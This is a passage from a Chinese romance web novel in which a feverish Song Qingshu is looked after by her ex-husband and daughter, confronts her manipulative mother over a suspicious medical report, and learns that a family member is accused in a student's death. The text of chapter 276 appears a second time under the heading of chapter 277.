那一刻,盛熙川觉得自己一定是疯了,他整颗心都提起来,甚至在暗暗期待女儿说是命运的指引。
珍珠:“分析啊,妈妈那么有主见的人,现在对你一点都不排斥,而且有好几次都看着你脸红诶。”
“是吗?”
盛熙川面上八风不动,实则心跳如鼓。
珍珠瞟他:“别让我帮你回忆都是什么时候,你眼睛就没离开过妈妈,你肯定知道。”
盛熙川:“……”
他知道,跟她在一起时,他连她的微表情都不愿意错过。
所以,知道她的每一次脸红,也因此更心动几分。
可他不敢贸然向前。
他近情情怯,只怕逼得太紧,他们连朋友都做不了。
盛熙川走神。
珍珠坐在凳子上,伸出小肉胳膊抱他的腰。
“加油,爸爸。勇敢的人先享受爱情!”
盛熙川哭笑不得,捏她的脸:“妈妈说得对,还是少看点偶像剧吧。”
可乐先做好,盛熙川熟练地将姜片捞出,可乐装进杯子里。
之后又把保姆叫进来和珍珠一起看着粥锅,自己又去了主卧。
宋清殊一张小脸已经烧红了,眉头紧蹙,下巴偎在枕头上,看上去很不舒服。
她听到了声音,依然没有睁开眼,只是哑着嗓子,有气无力开口:“姐,我不想吃饭,也不想吃药,好好睡一觉就好。”
看来是要赶人。
她生病的模样太可怜,盛熙川心疼得不行。
他又坐在了她床边,这次什么都没有顾及,直接伸手将她捞了起来。
宋清殊猝不及防地坐起身,靠在了一个结实的怀抱里。
不是保姆,雪姐和芝姐都不可能这么对她。
她强撑着睁开眼,往后转了一下头。
盛熙川尴尬,嗓音有点紧绷:“把可乐喝了,我就放手。”
生病的人脑子转得慢,宋清殊甚至没觉得这样有什么不妥。
偏偏盛熙川还要哄孩子似的,吹了吹杯子里冒热气的可乐,喂到她唇边。
“来,喝一口。”
宋清殊只喝了一口,接着就皱起了眉头。
“烫。”她说,偏过头去。
她生气病来娇气得厉害。
等他再喂的时候就不肯喝了。
盛熙川自己喝了一口。
的确有点热,但可以接受。
“趁热喝,发发汗,好得快一些。”他说,又把杯子凑过去。
这下宋清殊直接闭紧了嘴。
不仅如此,她还把头转向一边,试图埋起来,不让他喂。
盛熙川被逗笑笑。
“我怎么记得过去吃药都没这么费劲?”
“过去体质差,现在我身体好了,没必要。”
这句话对病人来说已经是个长难句。
宋清殊说完,更不肯配合,直接把脸埋起来做鸵鸟。
“乖,那你喝半杯。”盛熙川又伸手去捞她的脸,把杯子凑过去。
他很执拗,宋清殊最终闭着眼,被他灌药似的灌了半杯可乐进去。
“姜味好重。”她嘟哝,神情不大高兴。
难得见她挂脸,盛熙川失笑。
伸手替她抹了一下唇角的水渍,继续哄:“姜能驱寒,你忘了,咱们救猪猪那天你还给我带红糖姜茶来着?还剩一点,来,一口就喝了。”
宋清殊不想喝,被闹得睁开眼,神色嗔怒:“烦死了,盛熙川,我都说了,睡一觉就好了。”
她烧糊涂了,一直到看到眼前这张英俊的脸,才慢慢回神。
两人现在已经不是夫妻,只是共同育儿的关系,这个状态已经逾矩了。
刚才不知怎么回事,似乎时间倒流,回到了四年前。
她还当他自己的丈夫,会哄着自己吃饭吃药,清晨爬起来替她煮青菜粥的丈夫。
好奇怪的感觉,在那一瞬间,好像分离的这四年不曾发生过。
眼下,宋清殊没骨头似的靠着床头坐着,半边身子都在盛熙川怀里。
她陡然转醒,脸上的温度更加滚烫,赶忙往里侧坐了一点,跟他保持距离。
盛熙川见她避之不及,自己也抿着唇往床边坐了坐。
气氛有点尴尬。
宋清殊把盛熙川手里那半杯可乐过来,一饮而尽。
“谢谢。”她小声说,不敢看他的眼睛。
好像刚才需要哄的另有其人一样。
第273章 照顾
刚才的氛围太过让人恍惚。
宋清殊的人生已经走过了27年,跟盛熙川的婚姻不过半年时间,她自己都没想到,那半年是她人生中如此浓墨重彩的一笔,让她习以为常。
“我刚才烧糊涂了。”不是又当又立,不肯在一起,又吊着他,享受他的好。
“我知道。”盛熙川说。
何止是她,他刚才也是一阵恍惚。
当时只道是寻常。
如今看,那样平凡微小的幸福日子,已经一去不复返了。
盛熙川心里涌起无尽酸涩。
他起身。
“厨房里有粥,我去看一眼眼。”
彼此都有点慌乱。
此时,雪姐看着火,跟珍珠聊天。
“盛先生真不错。之前没见过他的时候,我就在想到底什么样的人能配上你妈妈,你妈妈能和谁生出你这么聪明漂亮的宝宝,见了他,一切都合理了。”
雪姐是花都人,自己的孩子已经长大读大学,这几年一直在带珍珠。
喜欢的要命,有种自己又养了个孩子的感觉。
她知道珍珠特殊,跟她聊天也从来不拿她当孩子。
珍珠两条小肉腿在高脚凳上乱晃,嘴边噙着一抹笑。
“我妈妈对感情太迟钝了,因为她没有经验。”
保姆“嚯”了一声。
“怎么你有经验?跟个小大人似的。”她忍不住笑。
珍珠一本正经:“我没吃过猪肉,但见过猪跑。我妈妈连偶像剧都不看,根本不知道猪怎么跑。”
保姆此时正一手拿着锅盖,一手拿着木勺搅锅里的粥,她哈哈大笑起来,到后来连眼泪都出来了。
“我怎么这么喜欢你呀,宝贝。”她隔空给珍珠一个吻。
珍珠晃着小腿,也伸手做了个飞吻的动作。
盛熙川走进来,恰好看见这一幕。
女儿的保姆对她不错,他也欣慰。
粥煮的差不多了,盛熙川亲自往里加青菜和胡椒粉。
雪姐和珍珠两个人盯着他看。
雪姐比宋清殊大十几岁,看盛熙川,颇有种岳母看女婿越看越有趣的感觉。
真不错啊,一个前夫能做到这份上,宋清殊是个有福气的人。雪姐想。
青菜粥出锅,盛熙川给珍珠留了一小碗,其余的端去主卧。
“你去吗?”他问珍珠。
珍珠:“不去,我怕吃狗粮。”
盛熙川尴尬皱眉。
“宝宝,给爸爸留点面子。”
到了主卧,宋清殊已经强撑着洗漱完,她换了一件长袖睡衣,坐到了沙发上。
盛熙川把粥放在茶几上。
怕她想起上次在别墅餐厅里两人的龃龉。
那天,他逼她喝粥,告诉她喝完才能见珍珠,原本动机就是不纯的。
他希望他睹物思人,念起两人旧日的情分来。
而她说,她以后再也不喜欢喝青菜粥了。
两人还莫名其妙,因为那个虚拟的“朱小明”大吵一架。
明明是自己要做,做好了,盛熙川的心又有点忐忑。
“喝了粥会舒服点,喝完你再睡一觉。”盛熙川说。
“谢谢,有心了。”
好在宋清殊什么都没多说,端起粥碗,慢慢吃了起来。
盛熙川坐在一旁的沙发上看她。
两人似乎都憋了一肚子话要跟对方说,可谁也没有开口。
气氛有些沉闷。
宋清殊慢慢吃完,一看时间才早上8:30。
“你工作日那么忙就不要在这儿陪我了。”她说。
又怕盛熙川误会她拿好心当驴肝肺,补充道,“还要给玛瑙打点滴的?不放心的话,忙完了晚上再来。”
盛熙川的心早已软成一锅粥。
他“嗯”了一声。
“那你吃完再睡一会儿吧。”
“好。”宋清殊抬头对着他笑。
盛熙川的心神荡漾了一下。
他正要走的时候,陆夫人敲门。
身后的司机手里拎着大包小包,还有一个食盒。
珍珠跑出来迎接,叫了声“外婆”,被陆夫人抱进怀里。
“看小宝在系统里请假说生病了,我来看看。”她说。
看见盛熙川,陆夫人诧异了一下,表情迅速恢复如常。
“熙川在,我还放心些。”她说。
盛熙川笑了一下。
“没事,我刚盯着她喝了点粥,也测了体温,超过38.5度再吃退烧药就行。”
陆夫人点头,夸他细心。
这几年陆夫人对盛熙川的态度大有改观。
盛熙川又寒暄了两句就走了。
宋清殊迎出来。
“着了点凉,怎么还把您惊动了。”她笑了笑,有点感动。
心说她自己亲妈连她是死是活都不在乎,关键时候还得干妈。
“你快进屋,客厅空调还是有点凉。”陆夫人说,催着宋清殊进卧室。
又把珍珠交给保姆:“以防你妈妈是病毒感冒,暂时先不要亲密接触。”
珍珠嘟嘴:“妈妈也这样说,其实没关系。”
她还是被保姆留在了外面。
陆夫人进屋,又把宋清殊安顿在床上。
“我让家里煮了参汤,还给你带了点补品。”陆夫人说。
宋清殊笑:“普通人谁不会感冒发烧啊,怎么你们一个个这么紧张?”
“关心你还不好么。”陆夫人横她一眼。
两人难免要聊起盛熙川。
“你原来的芥蒂要放下了,就差不多给他个机会。”陆夫人说,“不给机会,不跟他交往,又享受着他的好,不像话。”
是这个意思。
宋清殊也不是那种喜欢吊着胃口的人。
她只是不知道该如何开口,又总觉得她和盛熙川还差一点缘分。
“等你好了,咱们一起出去玩吧。”陆夫人说,“借熙川的游轮。毕竟他的游轮已经四年没出海了。”
宋清殊不在的这四年,盛熙川做什么都提不起劲,起初连事业都快荒废了。
后来被苏白打醒,又开始拼命搞事业,根本顾不上出去玩。
宋清殊沉吟片刻。
“再看,兴许他今年想主动出去玩呢。”
她生着病,说话也有气无力的,后来,陆夫人便不让她说了。
只盯着她又喝了点参汤,替她盖好被子。
“睡觉吧,干妈就是不放心来看看你,看你没事,这就回了。”陆夫人说。
她还没走,手机突然响了。
陆夫人接起来,面色当时就变了。
“这里面一定有误会!”陆夫人说。
第274章 原生家庭的痛
听到陆夫人焦急的语气,宋清殊又睁开眼睛。
陆夫人还在说:“老师,我现在就过去,但我们展展是个老实孩子,绝对做不出来这种事!”
她挂了电话,就急匆匆要往外走。
“干妈,怎么回事?”宋清殊又跟着起身,问她。
陆夫人拍了拍宋清殊的手臂,又强作镇定。
“没什么大事,学校那边说展展跟同学起了摩擦,指责他校园霸凌,我过去看看。”
校园霸凌。
这四个字简直是宋清殊的噩梦。
她整个人都僵硬了一瞬。
“我和你一起去。”宋清殊顾不上身体的不适,就要换衣服。
陆夫人拉住她:“不是什么大事,你今天先休息,我去学校看看,有什么情况第一时间告诉你,需要你,你再过来。”
陆夫人很坚持,于是宋清殊也不再说什么。
她不放心,却也不好再给陆夫人增添心理负担。
只好送她出门,自己又躺了回去。
这件事,宋清殊越想越不对劲。
虽说一个人面对不同的人,就会有不同的脾气秉性,但宋清殊相信陆展,他做不出来随便欺负别人的事。
她觉得这件事像个阴谋。
【干妈,查一下陆枭】她微信提醒。
陆夫人回:【知道,你好好休息】
宋清殊之所以这么想,是因为路二叔最近一直在憋着劲搞事情。
陆二叔在陆氏已经快被架空了。
前几天,他本想借着温世誉表白的事做做文章,讽刺宋清殊私生活混乱,难当大任。
没想到被她轻而易举化解,还出了风头,他气得高血压都犯了,好一阵没缓过来。
接下来的几天看宋清殊便有点讪讪的,抹不开面子。
宋清殊不敢掉以轻心,总觉得,他憋着坏呢。
她人在家里,着急也没用,躺在床上,慢慢地进入了梦乡。
中午,宋清殊是被一阵手机铃声吵醒的。
很意外,宋夫人打电话给她。
她烧还没完全退,皱着眉头接。
“怎么了,妈?”
宋夫人出奇地热情:“我正好路过你家楼下,在家吗?去看看你。”
宋清殊皱眉,本能反应就觉得她有事。
“我今天不舒服,改天吧。”
宋夫人那边一句都没有问她怎么了,张嘴就是:“妈又不多耽搁你时间,这样,你把门牌号发过来,妈上去坐一会儿就回。”
宋清殊不想见她,更不想让这样一个人出现在自己家里。
“我真的不舒服。”
“我又不多打扰你,果然,你虽然姓宋,胳膊肘还是往外拐的……”
宋夫人又开始了她道德绑架那一套。
宋清殊吸了口气。
“这样,附近有家餐厅,我把位置发你,你去等我,半小时之后见。”
她强撑着不舒服起身,跟保姆和珍珠说了一声,出了门。
到餐厅时,宋夫人已经到了,笑眯眯坐在卡座上等她。
宋清殊落座,不想跟她兜圈子:“妈,有话直说吧。”
她怕受风,穿着长袖长裤,坐在那里只觉得头重脚轻。
宋夫人眼里闪过一丝尴尬,马上又恢复如初。
“是妈妈的一个朋友,过来找妈妈求情。”她试探着开口。
“她女儿前几天得罪了你,现在还在看守所……”
“您说您跟廖夫人是朋友吗?”宋清殊问。
她觉得好笑,之前廖夫人警告她离温世誉远些的时候,看着可不像认识宋家人的。
“对,我们是十几年的老朋友了,总聊天和互送礼物的。”宋夫人说。
聊天互送礼物是假,这次拿了廖家和陈家的好处倒是真的。
宋清殊在心里冷笑了一声。
“那您知道她孩子对我做了什么吗?”她问。
宋夫人明显底气不足:“不过就是想在路上吓唬吓唬你,最后不还是你的车撞的她吗?过去就过去了,得饶人处且饶人。”
宋清殊都被气笑了。
“这话从您嘴里说出来,怎么这么违和。
我撞他们的车是因为我感觉到了危险,当时我女儿和朋友的妹妹都在车上,是三条人命!
您轻飘飘一句,得饶人处且饶人就打发了,还真是慷他人之慨。”
她语气生硬,宋夫人瑟缩了一下。
宋夫人简直是宋清殊的人际关系晴雨表。
她得势的时候,宋夫人就是晴天,失势的时候,宋夫人踩得比谁都狠。
现在宋夫人这个态度,应该是知道这件事盛熙川也插手了。她既贪图陈家和廖家承诺的那点利益,又不敢得罪盛熙川。
宋夫人还在兀自挣扎。
“已经关了五天了,也算是起到了警示作用……”
宋清殊站起身,语气冷得厉害。
“妈,您但凡关心一句,我今天哪里不舒服,说不定这件事就成了。”
明知争这些东西也没意义,宋夫人就算关心她也只流于表面,但她就是忍不住想说。
原生家庭带来的痛,宋清殊很难和解。
听她这么说,宋夫人理亏了一瞬。
可随即神色又恢复了正常,甚至带了分委屈。
“你只让妈关心你,妈的身体什么样你知道吗?”
看宋清殊露出诧异神情,宋夫人从手机里调出一份报告给宋清殊看。
“你看,我前阵子去检查,是骨髓增生异常综合症!我现在是早期白血病!”
宋清殊认真地看了一眼那个电子版的体检报告。
看着不像作假,名字年龄也对的上。
血型……
她双指放大,手机却被宋夫人一把夺走。
“只说我不关心你,你关心过我吗?”宋夫人用她的逻辑回击。
宋清殊深吸了口气。
说不上来心里什么感觉,酸涩得有什么东西要溢出来。
不是心疼,是另一种,说不上来的带着遗憾的痛苦。
“你回去吧,今天晚上陈越和廖绮就能出来。”宋清殊说。
其实,她原本想的也是关两个人五天,没有宋夫人这一出也是一样的。
宋夫人一听,直接装都不装了,很高兴地站起身来。
“大家都是做生意的,本来就该以和为贵……”她甚至还想说教宋清殊两句。
宋清殊冷冷笑了笑。
“妈,你保重身体。”
说完,她就离开了。
回家后,宋清殊第一件事是让人去医院调了宋夫人的体检报告。
第275章 夜深忽梦少年事
宋清殊这场病原本没那么严重,她之前也发过烧,都是多喝热水,好好睡一觉就好。
原本喝了盛熙川的可乐和粥,陆夫人送的参汤,已经好了一大半。
如今被宋夫人这一折腾,整个人都虚弱了下来,更加头昏脑胀。
事情堆到了一起,她回去后贴着退烧贴,强撑着做了三件事:
第一件事,是先联系了王千巽和王岁岁。
毕竟,当时王岁岁也在车上,还受了惊吓。这件事不是她说原谅就可以的。
在王千巽兄妹同意的情况下,她又跟看守所和盛熙川那边打了招呼,准备放陈越和廖绮出来。
当然,案底是一定要留,还要他们手写保证书签字。
至于第三件事跟这两件没什么关系,那就是她拜托苏白帮她去查宋夫人的病例。
京华医院在上京如日中天,哪怕宋夫人不是在京华做的检查,苏白也一样可以查到。
苏白恰好休班,没在医院。
他接电话的时候楼珏也在旁边,便把手机接过去,跟宋清殊聊了两句。
“你要这个做什么?”楼珏问。
宋清殊:“她告诉我自己得了重病,我心里有个底,以免被她道德绑架。”
楼珏倒不觉得她这么做奇怪。
“那我会催他尽快去查。”她说,听宋清殊声音不对,又关心了两句。
宋清殊怕楼珏担心,没说发烧的事,只说这两天有点上火,嗓子哑了。
她嘱咐楼珏好好养胎,两人又简单聊了两句。
有一件事,宋清殊没跟楼珏说,因为她也没有把握,怕楼珏跟着她着急上火,动了胎气。
她从小在陆夫人身边长大,只在15岁的时候短暂的被宋夫人接回身边,没多久又出了国。
实在没有跟宋家夫妇一同做体检的经历,也从来没注意过这些东西。
可这次宋夫人给她看体检报告,她注意到了血型一栏。
宋清殊在看宋夫人手机的那一刻,明显僵硬了一瞬。
当时她就在强作镇定,压住心底纷乱的想法,告诉自己一切落实了再说。
兴许是她看错了,兴许这个体检报告是宋夫人找别人p的,都说不好的。
这三件事处理完,宋清殊也经虚得躺在床上,再也不能动弹。
这一觉睡得云里雾里,做了很多梦。
梦里,宋清殊梦见了她的童年。
年幼时的她,在大街上跟其他孩子玩耍,看见宋夫人带着宋妍妍走过来。
宋夫人明明看见了她,却还是转过了头去。
后来,又梦到了她的15岁。
那个本以为她已经逐渐疗愈,早已释怀的15岁。
梦里,她被宋夫人打了两个耳光。
“小小年纪不好好学习,就知道情呀爱呀,不知羞耻!”
之后,宋夫人拉着她去找陆夫人和莫北丞理论。
“我把女儿送给你养,你不把她往正路上带,是养来跟你弟弟乱L的吗?”
灰色的场景,刺耳的语言,梦里已经分不清是梦境还是现实。
梦里,她看到了陆夫人垂下的头,无地自容的脸。
眼泪从闭着的眼角流到枕头上,宋清殊在黑暗里四处躲藏,却总能精准地被宋夫人抓出来。
她意识到这可能是梦境,拼命往前跑,却怎么也逃不出来。
“小宝,小宝。”
有人轻声唤她。
宋清殊只是哭,却怎么也脱不了身。
“宋清殊”
“小宝”
“老婆”
……
她被抱起来,有人用手指替她擦去眼角的泪。
“宋清殊,醒醒!”
那人轻声说,在背后抱着她摇晃了一下。
接着,似乎有一只小手在扯她的手臂。
她听到了一声很小的“妈妈”。
也正是那个瞬间,宋清殊似突然被猛拉了一把,从虚空中挣扎出来。
天已经黑了,卧室里没有开灯,只有一点光亮从客厅透进来。
宋清殊大口喘着粗气,脸上已经分不清是眼泪还是汗水。
周围一片安静。
软软的舌头在舔她的手,是打完最后一天点滴,刚拆了留置针的玛瑙。
床边站着一个小小的身影,是她的宝贝珍珠在一脸担忧地看着她。
至于身后靠着的那个结实的胸膛,不用回头已经知道是谁。
宋清殊像一个溺水的人,在濒死边缘回来。
她双眼空洞地看着前方,好一会儿才把一口气喘匀。
“别怕,你很安全。”
盛熙川替她开了床头灯,怕她不适应突如其来的光亮,特地调暗了一些。
宋清殊点点头,起身。
才发现已经是晚上9点多了。
夜深忽梦少年事,梦啼妆泪红阑干。
她一直在极力忽略,假装那些过往都没发生过。
却清清楚楚知道,不被自己亲生父母爱和保护,是她灵魂创伤的来源。
也正因为如此,她不会处理亲密关系,总把一步之遥走成万水千山。
见她失神的眼睛逐渐聚焦,由朦胧变得清晰。
盛熙川才起身,将她靠在身后的床头上。
“做噩梦,梦见什么了?”他问。
宋清殊微微摇了摇头。
她不太想说。
但她觉得,如果……这件事听上去像天方夜谭,但如果是真的,那之前的一切就都可以理解了。
她现在不想说,只想等一个答案。
见她不言语,盛熙川也没有再问。
他用温枪替她测了体温,已经恢复正常。
“起床吃点东西吧。”他又说。
宋清殊点点头,神情还有点懵。
珍珠拉她的手,将她带到餐厅。
之后,盛熙川跟雪姐去了厨房,芝姐替她倒了杯加盐和糖的柠檬水。
“烧了一天了,补充一下电解质。”芝姐说。
宋清殊慢慢喝了半杯,才说:“怎么让珍珠爸爸去厨房呀?”
到底他是客人。
芝姐笑:“盛先生说您喜欢喝的粥,只有他会做,别的倒是没让他插手。”
珍珠:“你快给我爸爸点献殷勤的机会吧,我都心疼他。”
宋清殊皱眉:“宝宝,妈妈有种预感,你以后一定会早恋。”
她觉得,珍珠爱看偶像剧,喜欢劝人复合,明明看透了人性,却还是会被一些浪漫的戏码打动,非常有早恋的潜质。
珍珠不以为然:“妈妈,以我的心智成熟度,就算现在恋爱,也不能算早恋。”
宋清殊一口水呛在了气管里。
第276章 廖绮的恨
盛熙川跟雪姐一起端着粥进餐厅的时候,宋清殊还在咳嗽。
“怎么了这是?”盛熙川过去替她拍了拍背。
宋清殊一直把气管里的水都咳出来,才哭笑不得地指着珍珠对盛熙川道:“快管管你女儿,她说她现在恋爱都不算早恋!”
盛熙川牵了牵唇角,竟然做不出一个合适的表情。
许久他才说道:“宝宝,爸爸不同意你现在恋爱。”
珍珠:“那我什么时候可以谈?”
盛熙川一想到自己漂亮可爱又聪明的女儿以后可能要跟别人恋爱,就头痛得要命。
怎么会有人配得上她?她的智商就先把这些男人们甩了八条街。
盛熙川想说什么时候都不可以,珍珠要一直留在爸爸身边。
又觉得珍珠在他和宋清殊的事情上这样挺他,他却驳珍珠的面子,挺不够意思的。
他认真想了想:“至少也到实际年龄18岁以上吧。”
“啊?要那么久吗?”珍珠露出遗憾表情,“那岂不是还要14年半。”
保姆雪姐笑道:“先生这样说,珍珠该嫌日子过得慢了。”
众人都大笑起来。
这才是真正的父母长辈对少女心思的态度,不是她的问题,宋夫人当年那么对她,就是不对的。
宋清殊微微失神,又迅速把思绪拉回来。
没有晚饭上桌让客人走的道理,她留盛熙川吃饭。
雪姐和芝姐也一起。
平时她们就是四个女人一块儿吃饭的,如今多了个盛熙川。
起初雪姐和芝姐还有些拘谨,毕竟自从知道宋清殊的前夫是盛熙川后,她们猛猛地百度过这个人,知道他什么身份。
可盛熙川吃饭时,虽然话不多,很注重餐桌礼仪,但神情随和,还承担了大部分照顾珍珠吃饭的工作,让她们轻松了不少。她们又都很喜欢他。
而宋清殊经历了珍珠这个小插曲,思绪也一点点拉了回来,轻松不少。
吃饭期间,她又问了问廖绮和陈越。
“写了保证书也放出来了,我警告过他们,都说不会再有下次。”盛熙川说。
宋清殊点点头:“都是孩子,也不想太为难他们,主要是没有这一回,以后少不了要被纠缠。有了这一回,估计怎么也老实了。”
她不知道宋夫人收了廖家和陈家多少好处,也并不关心,这件事在宋清殊这里,就算到此为止了。
可廖绮不这么想。
她在看守所关了五天,看见廖母的第一眼,直接哭了出来。
“妈妈,我要宋清殊死!”
她在廖母怀里咬牙切齿。
廖母在上京奔走了五天,已经知道了宋清殊的段位,惊得一把捂住了廖绮的嘴。
“别乱说!”
廖绮哭得涕泗横流,抽泣不止。
“本来就是,这五天,我都快死在里面了!”
其实,并没有廖绮说的那样严重。
宋清殊和盛熙川谁也没有特意嘱咐要苛待他们,廖绮经历的不过是看守所的正常待遇。
可她恨得要命,觉得宋清殊就是要她死。
以前廖绮眼里的宋清殊,是个不知廉耻的“老女人”,一边装得清高,一边抢她这个年轻女孩的男朋友。
如今,宋清殊又罪加一等,成了陷害者。
廖绮不说自己做错事在先,只觉得宋清殊小题大做,心肠歹毒。
这件事一定不能这么算了。
气急败坏之下,廖绮又想起了前阵子找上她的人。
廖绮从看守所出来,又在外面调整休息了几天才回学校。
她刚回学校,就接到了温世誉的电话。
“出来聊聊。”温世誉说。
这上次她坐着轮椅去找宋清殊后,温世誉第一次主动理她。
廖绮大概猜到他是替宋清殊兴师问罪,却又怀了一丝希望,是温世誉心疼她平白被关了5天,吃了苦,也因此看到了她的真心。
她甚至脑补了一出戏。
温世誉说:“以后你不要这样任性了,吃了苦头,我也会心疼。”
可这一切只是她脑补。
温世誉见了她,第一句就是兴师问罪。
“廖绮,你有病是吗?姐姐的孩子还在车上,你撺掇陈越去路上别她的车!
自己不想活了就去死,为什么要害无辜的人?”
他语气冲的要命,异常歇斯底里。
廖绮被吼懵了。
她从来没想到温世誉会这样对她,直接要她去死。
“温世誉,我这么做是为了谁,你不知道吗?我喜欢你呀……”
她在温世誉面前做了很多年的小霸王,小公主,干的都是嚣张跋扈的事。
两人来到同一所大学后,她更是变本加厉,花式作闹,要他哄着。
从来没想过温世誉会变成这个样子。
一切都是因为他认识宋清殊。
宋清殊就是那个万恶之源。
廖绮离不开温世誉,时至今日,她竟然开始变得跟个小绵羊一样。
在他面前再也不敢大吼大叫。
温世誉冷笑:“为了我?你要真的为了我,就该知道我现在想要什么。”
“要什么?”
“廖绮,我要你放过我,放过我的朋友,和我喜欢的人。”
“……宋清殊是你喜欢的人吗?”廖绮逼自己开口问,声音不自觉地颤抖。
“是。不管她喜不喜欢我,我就是喜欢她。你欺负她,就是我的敌人。”他一字一顿,生怕廖绮被关傻了听不懂。
廖绮面如死灰。
她不敢恨温世誉,这个跟她纠缠了十几年,她从小就喜欢的人。
恨他,就是推翻了自己往前十几年的人生。
可她对宋清殊恨得更加彻底入骨了。
……
盛熙川在宋清殊家的晚饭吃得宾主尽欢。
吃完饭,时候不早了,他适时起身告辞,还给两个保姆每个人留了一个很厚的红包。
保姆不肯收。
盛熙川说:“拿着吧,你们把我女儿和她照顾得这么好,这是你们应得的。”
他态度诚恳又坚持,以至于后来她们都不好再推辞。
告别了盛熙川,宋清殊又发了一会儿呆。
这几天他实打实地给了她很多熨帖的照顾。
心里突然涌过暖流。
之后,在沙发上坐了会儿,宋清殊又猛地想起一件事来。
她真是烧糊涂了,居然忘了问陆展怎么样了。
宋清殊索性也不管时间,直接给陆夫人打了微信语音。
陆夫人声音沙哑又疲惫,跟上午判若两人。
“不太好……这边出人命了。很多人作证说是展展逼死了那个孩子。”
宋清殊的心咯噔一下。
第277章 陆展出事(一)
盛熙川跟雪姐一起端着粥进餐厅的时候,宋清殊还在咳嗽。
“怎么了这是?”盛熙川过去替她拍了拍背。
宋清殊一直把气管里的水都咳出来,才哭笑不得地指着珍珠对盛熙川道:“快管管你女儿,她说她现在恋爱都不算早恋!”
盛熙川牵了牵唇角,竟然做不出一个合适的表情。
许久他才说道:“宝宝,爸爸不同意你现在恋爱。”
珍珠:“那我什么时候可以谈?”
盛熙川一想到自己漂亮可爱又聪明的女儿以后可能要跟别人恋爱,就头痛得要命。
怎么会有人配得上她?她的智商就先把这些男人们甩了八条街。
盛熙川想说什么时候都不可以,珍珠要一直留在爸爸身边。
又觉得珍珠在他和宋清殊的事情上这样挺他,他却驳珍珠的面子,挺不够意思的。
他认真想了想:“至少也到实际年龄18岁以上吧。”
“啊?要那么久吗?”珍珠露出遗憾表情,“那岂不是还要14年半。”
保姆雪姐笑道:“先生这样说,珍珠该嫌日子过得慢了。”
众人都大笑起来。
这才是真正的父母长辈对少女心思的态度,不是她的问题,宋夫人当年那么对她,就是不对的。
宋清殊微微失神,又迅速把思绪拉回来。
没有晚饭上桌让客人走的道理,她留盛熙川吃饭。
雪姐和芝姐也一起。
平时她们就是四个女人一块儿吃饭的,如今多了个盛熙川。
起初雪姐和芝姐还有些拘谨,毕竟自从知道宋清殊的前夫是盛熙川后,她们猛猛地百度过这个人,知道他什么身份。
可盛熙川吃饭时,虽然话不多,很注重餐桌礼仪,但神情随和,还承担了大部分照顾珍珠吃饭的工作,让她们轻松了不少。她们又都很喜欢他。
而宋清殊经历了珍珠这个小插曲,思绪也一点点拉了回来,轻松不少。
吃饭期间,她又问了问廖绮和陈越。
“写了保证书也放出来了,我警告过他们,都说不会再有下次。”盛熙川说。
宋清殊点点头:“都是孩子,也不想太为难他们,主要是没有这一回,以后少不了要被纠缠。有了这一回,估计怎么也老实了。”
她不知道宋夫人收了廖家和陈家多少好处,也并不关心,这件事在宋清殊这里,就算到此为止了。
可廖绮不这么想。
她在看守所关了五天,看见廖母的第一眼,直接哭了出来。
“妈妈,我要宋清殊死!”
她在廖母怀里咬牙切齿。
廖母在上京奔走了五天,已经知道了宋清殊的段位,惊得一把捂住了廖绮的嘴。
“别乱说!”
廖绮哭得涕泗横流,抽泣不止。
“本来就是,这五天,我都快死在里面了!”
其实,并没有廖绮说的那样严重。
宋清殊和盛熙川谁也没有特意嘱咐要苛待他们,廖绮经历的不过是看守所的正常待遇。
可她恨得要命,觉得宋清殊就是要她死。
以前廖绮眼里的宋清殊,是个不知廉耻的“老女人”,一边装得清高,一边抢她这个年轻女孩的男朋友。
如今,宋清殊又罪加一等,成了陷害者。
廖绮不说自己做错事在先,只觉得宋清殊小题大做,心肠歹毒。
这件事一定不能这么算了。
气急败坏之下,廖绮又想起了前阵子找上她的人。
廖绮从看守所出来,又在外面调整休息了几天才回学校。
她刚回学校,就接到了温世誉的电话。
“出来聊聊。”温世誉说。
这上次她坐着轮椅去找宋清殊后,温世誉第一次主动理她。
廖绮大概猜到他是替宋清殊兴师问罪,却又怀了一丝希望,是温世誉心疼她平白被关了5天,吃了苦,也因此看到了她的真心。
她甚至脑补了一出戏。
温世誉说:“以后你不要这样任性了,吃了苦头,我也会心疼。”
可这一切只是她脑补。
温世誉见了她,第一句就是兴师问罪。
“廖绮,你有病是吗?姐姐的孩子还在车上,你撺掇陈越去路上别她的车!
自己不想活了就去死,为什么要害无辜的人?”
他语气冲的要命,异常歇斯底里。
廖绮被吼懵了。
她从来没想到温世誉会这样对她,直接要她去死。
“温世誉,我这么做是为了谁,你不知道吗?我喜欢你呀……”
她在温世誉面前做了很多年的小霸王,小公主,干的都是嚣张跋扈的事。
两人来到同一所大学后,她更是变本加厉,花式作闹,要他哄着。
从来没想过温世誉会变成这个样子。
一切都是因为他认识宋清殊。
宋清殊就是那个万恶之源。
廖绮离不开温世誉,时至今日,她竟然开始变得跟个小绵羊一样。
在他面前再也不敢大吼大叫。
温世誉冷笑:“为了我?你要真的为了我,就该知道我现在想要什么。”
“要什么?”
“廖绮,我要你放过我,放过我的朋友,和我喜欢的人。”
“……宋清殊是你喜欢的人吗?”廖绮逼自己开口问,声音不自觉地颤抖。
“是。不管她喜不喜欢我,我就是喜欢她。你欺负她,就是我的敌人。”他一字一顿,生怕廖绮被关傻了听不懂。
廖绮面如死灰。
她不敢恨温世誉,这个跟她纠缠了十几年,她从小就喜欢的人。
恨他,就是推翻了自己往前十几年的人生。
可她对宋清殊恨得更加彻底入骨了。
……
盛熙川在宋清殊家的晚饭吃得宾主尽欢。
吃完饭,时候不早了,他适时起身告辞,还给两个保姆每个人留了一个很厚的红包。
保姆不肯收。
盛熙川说:“拿着吧,你们把我女儿和她照顾得这么好,这是你们应得的。”
他态度诚恳又坚持,以至于后来她们都不好再推辞。
告别了盛熙川,宋清殊又发了一会儿呆。
这几天他实打实地给了她很多熨帖的照顾。
心里突然涌过暖流。
之后,在沙发上坐了会儿,宋清殊又猛地想起一件事来。
她真是烧糊涂了,居然忘了问陆展怎么样了。
宋清殊索性也不管时间,直接给陆夫人打了微信语音。
陆夫人声音沙哑又疲惫,跟上午判若两人。
“不太好……这边出人命了。很多人作证说是展展逼死了那个孩子。”
宋清殊的心咯噔一下。
第278章 陆展出事(一)
陆夫人听上去心力交瘁,宋清殊这边也大脑空白了很长时间。
她原以为只是普通的打架斗殴,甚至没有上升到校园霸凌的程度。
宋清殊眼里的校园霸凌,是当年季卿对她那样。
